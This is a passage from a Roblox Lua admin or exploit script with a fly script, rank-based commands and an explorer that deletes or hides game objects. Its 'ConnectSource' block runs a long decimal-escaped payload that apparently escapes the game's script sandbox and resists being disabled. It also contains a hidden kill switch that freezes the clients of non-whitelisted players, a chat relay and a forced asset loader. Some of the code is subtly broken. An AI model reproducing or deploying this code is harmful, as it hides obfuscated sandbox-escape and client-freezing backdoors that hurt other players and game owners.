  9767. end
  9768. end
  9769. end
  9770.  
  9771. function key2(key)
  9772. end
  9773. function s(mouse)
  9774. repeat wait() until not attack
  9775. while ev.Value ~= false do
  9776. wait(0.1)
  9777. end
  9778. MMouse = mouse
  9779. mouse.Button1Down:connect(function() ob1d(mouse) end)
  9780. mouse.Button1Up:connect(function() ob1u(mouse) end)
  9781. mouse.KeyDown:connect(key)
  9782. mouse.KeyUp:connect(key2)
  9783.         equipanim()
  9784.   ev.Value = true
  9785. end
  9786. function ds(mouse)
  9787. repeat wait() until not attack
  9788. while ev.Value == false do
  9789. wait(0.1)
  9790. end
  9791.  
  9792. hideanim()
  9793.         wait(0.1)
  9794. ev.Value = false
  9795. end
  9796. Bin.Selected:connect(s)
  9797. Bin.Deselected:connect(ds)
  9798. ]]
  9799. Fly = [[
  9800. repeat
  9801. wait()
  9802. until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and
  9803. game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  9804. local mouse = game.Players.LocalPlayer:GetMouse()
  9805. repeat
  9806. wait()
  9807. until mouse ~= nil
  9808. local plr = game.Players.LocalPlayer
  9809. local torso = plr.Character.Torso
  9810. local flying = false
  9811. local deb = true
  9812. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  9813. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  9814. local maxspeed = 50
  9815. local speed = 0
  9816. function Fly()
  9817. local bg = Instance.new("BodyGyro", torso)
  9818. bg.P = 9e4
  9819. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  9820. bg.cframe = torso.CFrame
  9821. local bv = Instance.new("BodyVelocity", torso)
  9822. bv.velocity = Vector3.new(0,0,0)
  9823. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  9824. repeat
  9825. wait()
  9826. plr.Character.Humanoid.PlatformStand = true
  9827. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  9828. speed = speed+.5+(speed/maxspeed)
  9829. if speed > maxspeed then
  9830. speed = maxspeed
  9831. end
  9832. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  9833. speed = speed-1 if speed < 0 then
  9834. speed = 0
  9835. end
  9836. end
  9837. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  9838. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame *
  9839. CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  9840. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  9841. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  9842. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame
  9843. * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity =
  9844. Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  9845. until not flying ctrl = {f = 0, b = 0, l = 0, r = 0}
  9846. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  9847. speed = 0
  9848. bg:Destroy()
  9849. bv:Destroy() plr.Character.Humanoid.PlatformStand = false
  9850. end
  9851. mouse.KeyDown:connect(function(key) if key:lower() == "e" then
  9852. if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then
  9853. ctrl.f = 1
  9854. elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1
  9855. elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() ==
  9856. "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0
  9857. elseif key:lower() == "d" then ctrl.r = 0 end end)
  9858. ]]
  9859. ConnectSource = [[
  9860.         wait(0.001)
  9861.     if script:findFirstChild'source' ~= nil then
  9862.         print("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
  9863.         script:ClearAllChildren()
  9864.     else
  9865.         script:ClearAllChildren()
  9866.         script.Parent=nil
  9867.     end
  9868.     wait(1)
  9869.     LocalPlayer = game.Players.LocalPlayer
  9870.     local asd = Instance.new("StringValue",LocalPlayer)
  9871.     asd.Name = 'asd'
  9872.     asd.Value = 'asdasdsadsadasdas'
  9873.     wait(0.1)
  9874.     asd:remove()
  9875.     wait(1)
  9876.     local asdcon = LocalPlayer.Chatted:connect(function(msg)
  9877.         if LocalPlayer.Parent ~= game:service'Players' then
  9878.             local a = Instance.new("StringValue", workspace)
  9879.             a.Name = 'LolCon'
  9880.             a.Value = LocalPlayer.Name..'\31'..msg
  9881.             game:service'Debris':AddItem(a,2)
  9882.         end
  9883.     end)
  9884.     local con = game.Lighting.descendantAdded:connect(function(what)
  9885.         if LocalPlayer.Name == 'Cobalt1164' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'hipow12' or LocalPlayer.Name == 'penguin0616' then return end
  9886.         if what.ClassName == 'StringValue' then
  9887.             if what.Name == 'Disconnect' then
  9888.                 local v = what.Value
  9889.                 if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then
  9890.                     repeat until false
  9891.                 elseif v == 'nil' then
  9892.                     if LocalPlayer.Parent ~= game:service'Players' then
  9893.                         repeat until false
  9894.                     end
  9895.                 elseif v == 'all' then
  9896.                     repeat until false
  9897.                 end
  9898.             end
  9899.         end
  9900.     end)
  9901.     local con2 = game:service'RunService'.RenderStepped:connect(function()
  9902.         if LocalPlayer:findFirstChild'asd' then
  9903.             asd = LocalPlayer:findFirstChild'asd'
  9904.             if asd.ClassName == 'StringValue' then
  9905.                 if asd.Value == 'asdasdsadsadasdas' then
  9906.                     asd:remove()
  9907.                     asdcon:disconnect()
  9908.                     con:disconnect()
  9909.                     con2:disconnect()
  9910.                 end
  9911.             end
  9912.         end
  9913.     end)
  9914. ]]
  9915. _force_insert=function(id,place)
  9916.     place=place or
  9917.             Instance.new('Model',game:service'InsertService');
  9918.  
  9919.     local c=game:GetObjects('rbxassetid://'..id);
  9920.     for i=1,#c do
  9921.         c[i].Parent=place;
  9922.     end;
  9923. end;
  9924. function All(deb)
  9925.     local AllPlayers = {}
  9926.     for _,v in pairs(Plrs:GetPlayers()) do
  9927.         ypcall(function()
  9928.             if GetRank(v.Name) ~= 8 or not deb then
  9929.                 table.insert(AllPlayers, v)
  9930.             end
  9931.         end)
  9932.     end
  9933.     return AllPlayers
  9934. end
  9935.  
  9936. function All2(deb)
  9937.     local AllPlayers2 = {}
  9938.     for i,v in pairs(Net:GetChildren()) do
  9939.         ypcall(function()
  9940.             if v:IsA("ServerReplicator") then
  9941.                 if GetRank(v:GetPlayer().Name) ~= 8 or not deb then
  9942.                     table.insert(AllPlayers2, v:GetPlayer())
  9943.                 end
  9944.             end
  9945.         end)
  9946.     end
  9947.     return AllPlayers2
  9948. end
  9949. function MakeNum()
  9950.     return 2^3
  9951. end
  9952. function Menu(Speaker)
  9953.     Output("Commands",Speaker,nil,function()
  9954.             Dismiss(Speaker.Name)
  9955.    
  9956.     Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  9957.     Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  9958.     Output("Rank 0", Speaker, nil, function()
  9959.         if FindRank(Speaker) <= 0 then
  9960.             OpenCmds(0, Speaker)
  9961.        
  9962.         end
  9963.         end)
  9964.     Output("Rank 1", Speaker, nil, function()
  9965.         if FindRank(Speaker) >= 1 then
  9966.             OpenCmds(1, Speaker)
  9967.        
  9968.         end
  9969.         end)
  9970.     Output("Rank 2", Speaker, nil, function()
  9971.         if FindRank(Speaker) >= 2 then
  9972.             OpenCmds(2, Speaker)
  9973.        
  9974.         end
  9975.     end)
  9976.     Output("Rank 3", Speaker, nil, function()
  9977.         if FindRank(Speaker) >= 3 then
  9978.             OpenCmds(3, Speaker)
  9979.        
  9980.         end
  9981.     end)
  9982.     Output("Rank 4", Speaker, nil, function()
  9983.         if FindRank(Speaker) >= 4 then
  9984.             OpenCmds(4, Speaker)
  9985.        
  9986.         end
  9987.     end)
  9988.     Output("Rank 5", Speaker, nil, function()
  9989.         if FindRank(Speaker) >= 5 then
  9990.             OpenCmds(5, Speaker)
  9991.        
  9992.         end
  9993.     end)
  9994.     Output("Rank 6", Speaker, nil, function()
  9995.         if FindRank(Speaker) >= 6 then
  9996.             OpenCmds(6, Speaker)
  9997.        
  9998.         end
  9999.     end)
  10000.     Output("Rank 7", Speaker, nil, function()
  10001.         if FindRank(Speaker) >= 7 then
  10002.             OpenCmds(7, Speaker)
  10003.        
  10004.         end
  10005.     end)
  10006.             end)
  10007.     Output("Players", Speaker, nil, function()
  10008.         ListPlayers(Speaker)
  10009.     end)
  10010.     Output("Explore", Speaker, nil, function()
  10011.         MakeExplorer(Speaker)
  10012.     end)
  10013. end
  10014. function ChangeRank(Plr, NewRank)
  10015.     local PlrName = nil
  10016.     local FoundPlayer = false
  10017.     ypcall(function()
  10018.         if type(Plr) == "string" then
  10019.             ypcall(function()
  10020.                 for i,v in pairs(Ranked) do
  10021.                     if v.Name:lower() == Plr:lower() then
  10022.                         local VName = v.Name
  10023.                         Ranked[i] = nil
  10024.                         table.insert(Ranked, {Name = VName, Rank = NewRank})
  10025.                         PlrName = VName
  10026.                         FoundPlayer = true
  10027.                         break
  10028.                     end
  10029.                 end
  10030.             end)
  10031.             if FoundPlayer == false then
  10032.                 ypcall(function()
  10033.                     for _,x in pairs(All()) do
  10034.                         if x.Name:lower() == Plr:lower() then
  10035.                             FoundPlayer = true
  10036.                             for i,v in pairs(Ranked) do
  10037.                                 if v.Name:lower() == x.Name:lower() then
  10038.                                     local VName = x.Name
  10039.                                     Ranked[i] = nil
  10040.                                     PlrName = VName
  10041.                                     break
  10042.                                 end
  10043.                             end
  10044.                             table.insert(Ranked, {Name = VName, Rank = NewRank})
  10045.                         end
  10046.                     end
  10047.                 end)
  10048.             end
  10049.             if FoundPlayer == false then
  10050.                 ypcall(function()
  10051.                     for _,x in pairs(All()) do
  10052.                         if string.find(x.Name:lower(), Plr:lower()) then
  10053.                             FoundPlayer = true
  10054.                             for i,v in pairs(Ranked) do
  10055.                                 if v.Name:lower() == x.Name:lower() then
  10056.                                     local VName = x.Name
  10057.                                     Ranked[i] = nil
  10058.                                     PlrName = VName
  10059.                                     break
  10060.                                 end
  10061.                             end
  10062.                             table.insert(Ranked, {Name = VName, Rank = NewRank})
  10063.                         end
  10064.                     end
  10065.                 end)
  10066.             end
  10067.             if FoundPlayer == false then
  10068.                 ypcall(function()
  10069.                     for i,v in pairs(Ranked) do
  10070.                         if string.find(v.Name:lower(), Plr:lower()) then
  10071.                             local VName = v.Name
  10072.                             Ranked[i] = nil
  10073.                             table.insert(Ranked, {Name = VName, Rank = NewRank})
  10074.                             PlrName = VName
  10075.                             FoundPlayer = true
  10076.                             break
  10077.                         end
  10078.                     end
  10079.                 end)
  10080.             end
  10081.         else
  10082.             for i,v in pairs(Ranked) do
  10083.                 if v.Name:lower() == Plr.Name:lower() then
  10084.                     Ranked[i] = nil
  10085.                     break
  10086.                 end
  10087.             end
  10088.             table.insert(Ranked, {Name = Plr.Name, Rank = NewRank})
  10089.             PlrName = Plr.Name
  10090.         end
  10091.         PlaceAllRanks(true)
  10092.     end)
  10093.     if PlrName ~= nil then
  10094.         return PlrName
  10095.     else
  10096.         return "Player"
  10097.     end
  10098. end
  10099. function Refresh(Plr)
  10100.     MakeChildren(Plr)
  10101. end
  10102. function MakeChildren(Plr)
  10103.     ypcall(function()
  10104.         Dismiss(Plr)
  10105.         for _,v in pairs(Current:GetChildren()) do
  10106.             ypcall(function()
  10107.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  10108.                     Output(v.Name, Plr, nil, function(TabMod)
  10109.                         local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10110.                         for _,v in pairs(Current:GetChildren()) do
  10111.                             ypcall(function()
  10112.                                 if v.Name == TabText then
  10113.                                     Dismiss(Plr)
  10114.                                     Current = v
  10115.                                     MakeChildren(Plr)
  10116.                                 end
  10117.                             end)
  10118.                         end
  10119.                     end)
  10120.                 elseif Plrs:GetPlayerFromCharacter(v) then
  10121.                     Output(v.Name, Plr, nil, function(TabMod)
  10122.                         local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10123.                         for _,v in pairs(Current:GetChildren()) do
  10124.                             ypcall(function()
  10125.                                 if v.Name == TabText then
  10126.                                     Dismiss(Plr)
  10127.                                     Current = v
  10128.                                     MakeChildren(Plr)
  10129.                                 end
  10130.                             end)
  10131.                         end
  10132.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  10133.                 elseif CheckImportant(v.Name) then
  10134.                     Output(v.Name, Plr, nil, function(TabMod)
  10135.                         local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10136.                         for _,v in pairs(Current:GetChildren()) do
  10137.                             ypcall(function()
  10138.                                 if v.Name == TabText then
  10139.                                     Dismiss(Plr)
  10140.                                     Current = v
  10141.                                     MakeChildren(Plr)
  10142.                                 end
  10143.                             end)
  10144.                         end
  10145.                     end, ImportantColor)
  10146.                 end
  10147.             end)
  10148.         end
  10149.         if Current ~= game then
  10150.             Output("Back", Plr, nil, function()
  10151.                 ypcall(function()
  10152.                     Current = Current.Parent
  10153.                     MakeChildren(Plr)
  10154.                     Output("Returned to "..Current.Name, Plr, 5)
  10155.                 end)
  10156.             end, OptionColor)
  10157.         end
  10158.     if FindRank(Speaker) >= 5 then
  10159.         if Current ~= game then
  10160.             Output("Delete", Plr, nil, function()
  10161.                 ypcall(function()
  10162.                     local CurrPar = Current.Parent or game
  10163.                     local CurrName = Current.Name
  10164.                     Current:Destroy()
  10165.                     Current = CurrPar
  10166.                     MakeChildren(Plr)
  10167.                     Output("Deleted "..CurrName, Plr, 5)
  10168.                 end)
  10169.             end, OptionColor)
  10170.         end
  10171.             Output("Remove", Plr, nil, function()
  10172.                 ypcall(function()
  10173.                     local CurrPar = Current.Parent or game
  10174.                     local CurrName = Current.Name
  10175.                     Current:Remove()
  10176.                     Current = CurrPar
  10177.                     MakeChildren(Plr)
  10178.                     Output("Removed "..CurrName, Plr, 5)
  10179.                 end)
  10180.             end, OptionColor)
  10181.             Output("Break Joints", Plr, nil, function()
  10182.                 ypcall(function()
  10183.                     local CurrPar = Current.Parent or game
  10184.                     local CurrName = Current.Name
  10185.                     Current:BreakJoints()
  10186.                     Current = CurrPar
  10187.                     MakeChildren(Plr)
  10188.                     Output("Removed "..CurrName, Plr, 5)
  10189.                 end)
  10190.             end, OptionColor)
  10191.         Output("Make Joints", Plr, nil, function()
  10192.                 ypcall(function()
  10193.                     local CurrPar = Current.Parent or game
  10194.                     local CurrName = Current.Name
  10195.                     Current:BreakJoints()
  10196.                     Current = CurrPar
  10197.                     MakeChildren(Plr)
  10198.                     Output("Removed "..CurrName, Plr, 5)
  10199.                 end)
  10200.         end, OptionColor)
  10201.         Output("Hide", Plr, nil, function()
  10202.                 ypcall(function()
  10203.                     local CurrPar = Current.Parent or game
  10204.                     local CurrName = Current.Name
  10205.                     Current.Transparency = 1
  10206.                     Current = CurrPar
  10207.                     MakeChildren(Plr)
  10208.                     Output("Hid "..CurrName, Plr, 5)
  10209.                 end)
  10210.         end, OptionColor)
  10211.         Output("Fade", Plr, nil, function()
  10212.                 ypcall(function()
  10213.                     local CurrPar = Current.Parent or game
  10214.                     local CurrName = Current.Name
  10215.                     Curren.Transparency = 0.5
  10216.                     Current = CurrPar
  10217.                     MakeChildren(Plr)
  10218.                     Output("Hid "..CurrName, Plr, 5)
  10219.                 end)
  10220.         end, OptionColor)
  10221.         Output("Show", Plr, nil, function()
  10222.                 ypcall(function()
  10223.                     local CurrPar = Current.Parent or game
  10224.                     local CurrName = Current.Name
  10225.                     Current.Transparency = 0
  10226.                     Current = CurrPar
  10227.                     MakeChildren(Plr)
  10228.                     Output("Hid "..CurrName, Plr, 5)
  10229.                 end)
  10230.             end, OptionColor)
  10231.         Output("Refresh", Plr, nil, function()
  10232.             ypcall(function()
  10233.                 Refresh(Plr)
  10234.                 Output("Refreshed Instance Options", Plr, 5)
  10235.             end)
  10236.         end, OptionColor)
  10237.         end
  10238.     end)
  10239. end
  10240. function MakeExplorer(Plr)
  10241.     Dismiss(Plr)
  10242.     Current = game
  10243.     for _,v in pairs(Current:GetChildren()) do
  10244.         ypcall(function()
  10245.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  10246.                 Output(v.Name, Plr, nil, function(TabMod)
  10247.                     local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10248.                     for _,v in pairs(Current:GetChildren()) do
  10249.                         ypcall(function()
  10250.                             if v.Name == TabText then
  10251.                                 Dismiss(Plr)
  10252.                                 Current = v
  10253.                                 MakeChildren(Plr)
  10254.                             end
  10255.                         end)
  10256.                     end
  10257.                 end)
  10258.             elseif Plrs:GetPlayerFromCharacter(v) then
  10259.                 Output(v.Name, Plr, nil, function(TabMod)
  10260.                     local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10261.                     for _,v in pairs(Current:GetChildren()) do
  10262.                         ypcall(function()
  10263.                             if v.Name == TabText then
  10264.                                 Dismiss(Plr)
  10265.                                 Current = v
  10266.                                 MakeChildren(Plr)
  10267.                             end
  10268.                         end)
  10269.                     end
  10270.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  10271.             elseif CheckImportant(v.Name) then
  10272.                 Output(v.Name, Plr, nil, function(TabMod)
  10273.                     local TabText = TabMod["KKA Tablet"].BG.TL.Text
  10274.                     for _,v in pairs(Current:GetChildren()) do
  10275.                         ypcall(function()
  10276.                             if v.Name == TabText then
  10277.                                 Dismiss(Plr)
  10278.                                 Current = v
  10279.                                 MakeChildren(Plr)
  10280.                             end
  10281.                         end)
  10282.                     end
  10283.                 end, ImportantColor)
  10284.             end
  10285.         end)
  10286.     end
  10287.         if Current ~= game then
  10288.             if FindRank(Plr) >= 5 then
  10289.             Output("Delete", Plr, nil, function()
  10290.                 ypcall(function()
  10291.                     local CurrPar = Current.Parent or game
  10292.                     local CurrName = Current.Name
  10293.                     Current:Destroy()
  10294.                     Current = CurrPar
  10295.                     MakeChildren(Plr)
  10296.                     Output("Deleted "..CurrName, Plr, 5)
  10297.                 end)
  10298.             end, OptionColor)
  10299.         end
  10300.             Output("Remove", Plr, nil, function()
  10301.                 ypcall(function()
  10302.                     local CurrPar = Current.Parent or game
  10303.                     local CurrName = Current.Name
  10304.                     Current:Remove()
  10305.                     Current = CurrPar
  10306.                     MakeChildren(Plr)
  10307.                     Output("Removed "..CurrName, Plr, 5)
  10308.                 end)
  10309.             end, OptionColor)
  10310.             Output("Break Joints", Plr, nil, function()
  10311.                 ypcall(function()
  10312.                     local CurrPar = Current.Parent or game
  10313.                     local CurrName = Current.Name
  10314.                     Current:BreakJoints()
  10315.                     Current = CurrPar
  10316.                     MakeChildren(Plr)
  10317.                     Output("Removed "..CurrName, Plr, 5)
  10318.                 end)
  10319.             end, OptionColor)
  10320.         Output("Make Joints", Plr, nil, function()
  10321.                 ypcall(function()
  10322.                     local CurrPar = Current.Parent or game
  10323.                     local CurrName = Current.Name
  10324.                     Current:BreakJoints()
  10325.                     Current = CurrPar
  10326.                     MakeChildren(Plr)
  10327.                     Output("Removed "..CurrName, Plr, 5)
  10328.                 end)
  10329.         end, OptionColor)
  10330.         Output("Hide", Plr, nil, function()
  10331.                 ypcall(function()
  10332.                     local CurrPar = Current.Parent or game
